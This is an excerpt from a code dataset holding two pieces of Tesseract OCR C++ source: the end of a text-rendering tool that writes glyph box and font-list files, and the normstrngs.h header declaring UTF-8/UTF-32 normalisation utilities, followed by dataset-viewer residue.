if (FLAGS_output_individual_glyph_images) {
if (!MakeIndividualGlyphs(binary, render.GetBoxes(), im)) {
tprintf("ERROR: Individual glyphs not saved\n");
}
}
pixDestroy(&binary);
}
if (FLAGS_find_fonts && !FLAGS_render_per_font && !font_names.empty()) {
// We just want a list of names, so we don't need to render any more
// of the text.
break;
}
}
}
if (!FLAGS_find_fonts) {
string box_name = FLAGS_outputbase.c_str();
box_name += ".box";
render.WriteAllBoxes(box_name);
} else if (!FLAGS_render_per_font && !font_names.empty()) {
string filename = FLAGS_outputbase.c_str();
filename += ".fontlist.txt";
FILE* fp = fopen(filename.c_str(), "wb");
if (fp == NULL) {
tprintf("Failed to create output font list %s\n", filename.c_str());
} else {
for (int i = 0; i < font_names.size(); ++i) {
fprintf(fp, "%s\n", font_names[i].c_str());
}
fclose(fp);
}
}
return 0;
}
| C++ |
/**********************************************************************
* File: normstrngs.h
* Description: Utilities to normalize and manipulate UTF-32 and
* UTF-8 strings.
* Author: Ranjith Unnikrishnan
* Created: Thu July 4 2013
*
* (C) Copyright 2013, Google Inc.
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
* http://www.apache.org/licenses/LICENSE-2.0
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
**********************************************************************/
#ifndef TESSERACT_CCUTIL_NORMSTRNGS_H_
#define TESSERACT_CCUTIL_NORMSTRNGS_H_
#include "genericvector.h"
#include "strngs.h"
typedef signed int char32;
namespace tesseract {
// UTF-8 to UTF-32 conversion function.
void UTF8ToUTF32(const char* utf8_str, GenericVector<char32>* str32);
// UTF-32 to UTF-8 convesion function.
void UTF32ToUTF8(const GenericVector<char32>& str32, STRING* utf8_str);
// Normalize a single char32 using NFKC + OCR-specific transformations.
// NOTE that proper NFKC may require multiple characters as input. The
// assumption of this function is that the input is already as fully composed
// as it can be, but may require some compatibility normalizations or just
// OCR evaluation related normalizations.
void NormalizeChar32(char32 ch, GenericVector<char32>* str);
// Normalize a UTF8 string. Same as above, but for UTF8-encoded strings, that
// can contain multiple UTF32 code points.
STRING NormalizeUTF8String(const char* str8);
// Apply just the OCR-specific normalizations and return the normalized char.
char32 OCRNormalize(char32 ch);
// Returns true if the OCRNormalized ch1 and ch2 are the same.
bool IsOCREquivalent(char32 ch1, char32 ch2);
// Returns true if the value lies in the range of valid unicodes.
bool IsValidCodepoint(const char32 ch);
// Returns true a code point has the White_Space Unicode property.
bool IsWhitespace(const char32 ch);
// Returns true if every char in the given (null-terminated) string has the
// White_Space Unicode property.
bool IsUTF8Whitespace(const char* text);
// Returns the length of bytes of the prefix of 'text' that have the White_Space
// unicode property.
int SpanUTF8Whitespace(const char* text);
// Returns the length of bytes of the prefix of 'text' that DO NOT have the
// White_Space unicode property.
int SpanUTF8NotWhitespace(const char* text);
// Returns true if the char is interchange valid i.e. no C0 or C1 control codes
// (other than CR LF HT FF) and no non-characters.
bool IsInterchangeValid(const char32 ch);
// Same as above but restricted to 7-bit ASCII.
bool IsInterchangeValid7BitAscii(const char32 ch);
// Convert a full-width UTF-8 string to half-width.
char32 FullwidthToHalfwidth(const char32 ch);
} // namespace tesseract
#endif // TESSERACT_CCUTIL_NORMSTRNGS_H_
| C++ |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.